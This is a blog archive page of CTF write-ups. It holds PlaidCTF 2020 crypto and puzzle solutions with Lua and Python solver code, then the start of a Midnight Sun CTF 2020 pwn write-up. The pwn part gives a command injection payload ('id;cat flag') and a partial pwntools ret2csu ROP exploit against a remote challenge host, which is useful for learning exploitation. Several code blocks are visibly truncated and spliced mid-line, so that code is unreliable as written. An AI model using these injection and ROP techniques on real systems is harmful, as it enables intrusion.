mcfx's blog - 2020年4月
/2020/04/
个人博客,(曾经)基本只放题解,现在随便写点啥了吧(PlaidCTF 2020 Writeup
/archives/283/
2020-04-29T05:39:18+08:00# Crypto
## stegasaurus scratch
Given a c file, which calls lua, and we need to finish two tasks.
In the first one, we need to construct an injective map between 8 distinct numbers from 0 to 39999, and 7 distinct numbers with their permutation. Note that C(40000,8)/C(40000,7) is about 5000, which is less than 7!, thus it’s possible. We may delete the number which is k-th smallest, where k is the total sum of 8 numbers modulo 8. For any 7-number tuples, there exists about 5000(more precisely, less than 5008) other numbers, such that it will be deleted. We can find the rank of the actual one in them, and encode it into a permutation.
In the second task, Alice is given an array of length 96, consists of 32 `2`s and 64 `1`s, she needs to mark 32 of the `1`s to `0`. Bob is given the remaining array, but he only knows whether a number is `0`. He needs to find all “2”s. In fact, the task needs a bijective map from C(96,32) to C(96,32), but each pair don’t have common elements. We may split the sequence into blocks of length 2, if some block is 01 or 10, just flip it. Otherwise, we obtain a new sequence with `11` and `00`, thus it’s the same as the original problem, and we can recursively solve it.
```lua
function nthperm(n)
s={}
t=1
for i=1,7,1 do
a=n//t
t=t*i
b=a//i
c=a-i*b
s[i]=c+1
end
for i=1,7,1 do
for j=1,i-1,1 do
if s[j]>=s[i] then
s[j]=s[j]+1
end
end
end
return s
end
function permrank(s)
s=table.shallow_copy(s)
n=0
t=1
for i=7,1,-1 do
for j=1,i-1,1 do
if s[j]>s[i] then
s[j]=s[j]-1
end
end
end
for i=1,7,1 do
n=n+(s[i]-1)*t
t=t*i
end
return n
end
function getdel(s)
sum=0
for i=1,8,1 do
sum=sum+s[i]
end
return s[sum-(sum//8)*8+1]
end
function table.shallow_copy(t)
local res={}
for k=1,#t,1 do
res[k]=t[k]
end
return res
end
function count(l,r,r2,v)
if(r>r2)then
r=r2
end
if(l>r)then
return 0
end
lt=l//8
rt=r//8
if(lt==rt)then
if(lx2:x1=x2
return get(x1,y1)==1 or get(x1,y1-1)==1
pos=[(0,0,'','(0,0)')]
for i in range(50):
npos=set()
for x,y,path,his in pos:
for nx,ny,d in [(x-1,y,'u'),(x+1,y,'d'),(x,y-1,'l'),(x,y+1,'r')]:
if ok_red(x,y,nx,ny):
np=path+d
if '(%d,%d)'%(nx,ny) in his:
continue
npos.add((nx,ny,np,his+'(%d,%d)'%(nx,ny)))
pos=npos
for x,y,path,his in pos:
if x==7 and y==7:
print(len(path),path)
s=nxt(s)
```
## A Plaid Puzzle
It contains a big matrix, elements fall down, change according to the characters of the flag, and interact with each other. In fact, each line of the puzzle is independent. The last element will “eat” every element in front of it, and finally check if it’s equal to some constant. There are 64 different statuses in this process, and in fact it’s just xor (but shuffled). So we can find some relations about the xor, and find the flag by gauss elimination.
```python
raw=open('code.txt','r',encoding='utf-8').readlines()
cmap={}
for i in range(1139,1267):
a,b=raw[i].strip().split(' = ')
cmap[a]=b
cmap['C']='fljldviokmmfmqzd'
cmap['F']='iawjsmjfczakueqy'
cmap['.']='.'
cmap['X']='X'
rule1s=[]
rule1={}
rule1x={}
for i in range(64):
rule1['char'+str(i)]={}
for i in range(1427,5523):
t=raw[i].strip()
a,b=t[:-6].split(' -> ')
ax,ay=a[2:-2].split(' | ')
bx,by=b[2:-2].split(' | ')
rule1s.append((ay,ax,bx))
rule1[ay][ax]=bx
if ax not in rule1x:
rule1x[ax]={}
rule1x[ax][bx]=ay
rule2s=[]
rule2={}
rule2x={}
for i in range(5523,9619):
t=raw[i].strip()
a,c=t[8:-10].split(' ] -> [ ')
a,b=a.split(' | ')
rule2s.append((a,b,c))
if a not in rule2:
rule2[a]={}
rule2[a][b]=c
if c not in rule2x:
rule2x[c]={}
rule2x[c][a]=b
rule3s=[]
rule3={}
for i in range(9619,9747):
t=raw[i].strip()
a,c=t[2:-10].split(' ] -> [ ')
a,b=a.split(' | ')
rule3s.append((a,b,c))
if a not in rule3:
rule3[a]={}
rule3[a][b]=c
board=[]
for i in range(9760,9806):
t=list(raw[i].strip())
for j in range(len(t)):
t[j]=cmap[t[j]]
board.append(t)
board.append(['']*47)
board.append(['X']+['char63']*45+['X'])
charmap=list(map(chr,range(65,65+26)))+list(map(chr,range(97,97+26)))+list(map(chr,range(48,48+10)))+['{','}']
req='kkavwvmbabfuqctz'
slist=[]
for x in rule2x[req]:
slist.append(rule2x[req][x])
sid={}
for i in range(64):
sid[slist[i]]=i
tbl=[[0]*64 for i in range(64)]
for tr in slist:
for op1 in range(64):
t=board[1][2]
v=rule1['char'+str(op1)][t]
nxt=rule2x[tr][v]
tbl[sid[tr]][op1]=sid[nxt]
t=[]
u=0
cur=set([u])
while True:
x=0
while x>j&1:
v=tbl[v][t[j]]
for j in range(64):
if tbl[u][j]==v:
sr.append(j)
sl=[]
for i in range(64):
sl.append(tbl[u][sr[i]])
slrev=[0]*64
for i in range(64):
slrev[sl[i]]=i
eq=[]
for X in range(45,0,-1):
cur=[]
xor_const=slrev[sid[req]]^slrev[sid[board[X][46]]]
for Y in range(1,46):
t=board[X][Y]
tmp=[0]*6
for i in range(6):
k=sr[1i&1)
t.append(xor_const>>i&1)
eq.append(t)
s=eq
n=len(s)
m=len(s[0])
c=0
for i in range(m-1):
if not s[c][i]:
t=c+1
while tMidnight Sun CTF 2020 Quals Writeup
/archives/281/
2020-04-05T01:30:00+08:00# pwn
## admpanel
Run `id;cat flag`.
## Pwny racing - pwn1
ret2csu. See https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/ (English: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop/ ) for more information.
```python
from pwn import *
from time import sleep
p=ELF('./pwn1')
main_addr=0x400698
main_end_addr=0x40070b
csu_end_addr=0x40077a
csu_front_addr=0x400760
fakeebp = b'b' * 8
bss_base = 0x602040 # not real bss_base, since stdin and stdout are at the real one
libc=ELF('./libc.so')
r=remote('pwn1-01.play.midnightsunctf.se',10001)
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0
# rbp should be 1, disable jump
# r12 should be the function we want to call
# rdi=edi=r13